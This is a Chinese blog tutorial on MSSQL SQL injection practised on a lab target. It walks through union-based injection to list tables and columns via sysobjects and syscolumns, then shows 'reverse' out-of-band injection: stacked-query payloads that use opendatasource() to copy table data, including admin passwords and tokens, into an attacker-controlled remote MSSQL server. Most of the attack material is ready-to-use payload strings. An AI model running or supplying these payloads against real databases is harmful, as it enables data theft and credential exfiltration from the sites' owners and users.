MSSQL--反弹注入

发布于:2023-01-17 ⋅ 阅读:(219) ⋅ 点赞:(0)

MSSQL和MYSQL大同小异,做测试的思路和方法都差不多,区别就是使用的函数不同,每个数据库的系统自带表、自带库不太一样。但是原理和方法都差不多

反弹注入要做的话,需要一个公网服务器,这个可以白嫖,各位自行白嫖就行了

白嫖注册完之后,我们会得到一个连接地址、初始化库、账户名和密码

连接方法:

1、用在线工具

2、用Navicat(推荐使用)

进入Navicat之后,点击连接,这里选择SQLsever,连接名你自己想填什么就填什么,主机的话就填刚才白嫖到的连接地址,其他两个就是你自己设的账号密码了

这里先演示一下MSSQL的报错注入

首先就是测试是否存在注入点, and 1=1 and 1=2 这样。

然后就是判断字段数,这里判断出来有三个

 然后就是判断回显点,'union select 1,2,3 -- qw,这里出现了错误,MYSQL数据库比较包容,在用union select查询数据的时候,对查询的数据类型要求不高。而在MSSQL中,你就需要输入它对应的数据类型,当你不知道具体的数据类型时,可以用null代替,然后一个一个类型试

 我们输入'union select null,null,null -- w,然后将第一个null替换为888或者其他数字,查看页面回显,如果正常,那么就是数字类型,如果不正常,那就换一个类型继续测,这里试出来是数字类型,然后换第二个null,我们输入888,看页面回显,页面不正常,我们换一个类型,换为‘sad’,页面正常,第三个null也是字符串类型

 这里可以看到,三个位置都是输出点,不过数字类型的输出点对我们的帮助不大,如果只有数字型的输出点,我们就需要利用ASCII编码,或者利用十六进制来做

知道了输出点的字符类型之后,下一步就是查询库名、表名、字段

我们输入 union select 1,database(),'a',页面报错,我们在Navicat这个软件上面连接上我们白嫖到的MSSQL数据库,在里面查询一下 select  database(),页面报错了,说明MSSQL不存在database()这个函数,我们再次查询select *from information_schema.tables,页面出现了表名,所以我们可以用这个来直接查询表名

 

我们输入 union select 1,table_name,'b' from information_schema.tables,可以看到页面出现了表名

正常的MSSQL报错注入,一般利用 sysobjects 查询系统表 (xtype='U') 我们输入 select * from sysobjects where xtype='U',就可以查询出来所有的表名,指定xtype='U'这个,是为了得到用户表,U一般代表user,一般加这个是为了得到有用的表名和它对应的id

查询字段一般利用 syscolumns 字段  (id= ) 指定sysobjects库中表名对应id,我们输入 select *from syscolumns  where id='' ,这里的id就是我们查询表名的时候的id

我们进入靶场练习一下,输入 union select id,name,'b' from sysobjects where xtype='U',注意,我们在利用sysobjects的时候,要把之前的table_name替换为name,这样我们就得到了表名和他对应的id 

 查询字段的时候,我们输入union select id,name,'b' from syscolumns where id='437576597',这样就可以得到news表里的字段,想要查询其他表里面的字段,我们只需要替换id就好了

 拿到里面的数据的话就是跟之前的差不多,不过这里要跟一个all,并且把id和name换掉,我们输入  union all select 1,'a',title from news,这样就能拿到news表里面的title字段的数据了,其他数据同理

反弹注入

依靠opendatasource()函数,把查询出的数据发送到MSSQL服务器上

其实这也是一种obb,数据外带。跟dns差不多,不过这个是利用数据库来完成外带操作

应对场景:

        1、盲注

        2、脱库(可以加快脱库)

堆叠注入:可以用;结束前面的语句,例 select 1; select 2  两条语句一起执行

opendatasource() 将当前数据库的查询结果发送到另一台数据库中

opendatasource('数据库名称','server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称')这个就是连接上了数据库,然后就是选定数据表,把查询到的数据插入到哪个表里面,MSSQL的数据库名称为sqloledb,MSSQL默认端口1433

插入语法(insert into) opendatasource('sqloledb','server=连接地址,端口;uid=用户名;pwd=密码;database=库名').库名.权限(dbo).表名 想要的结果(select *from news)

插入的内容要和被插的表要求字段数相同

假如你想要查name和id,那么你就需要自己建一个表,假如表名为a666,那么语句就是这样的

;insert into opendatasource('sqloledb','server=连接地址,1433;uid=用户名;pwd=密码;database=库名').库名.dbo.a666 select  name,id from sysobjects where xtype='U',看数据就到刚才我们新建的表里面看就好了

如果想要得到字段的话,我们输入

;insert into opendatasource('sqloledb','server=连接地址,1433;uid=用户名;pwd=密码;database=库名').库名.dbo.a666 select  name,id from syscolumns where id=''

想要里面的数据的话,我们输入

;insert into opendatasource('sqloledb','server=连接地址,1433;uid=用户名;pwd=密码;database=库名').库名.dbo.a666 select   passwoed,token from admin

由于白嫖失败,所以好多图没有附上,后面嫖到了再补上


网站公告

今日签到

点亮在社区的每一天
去签到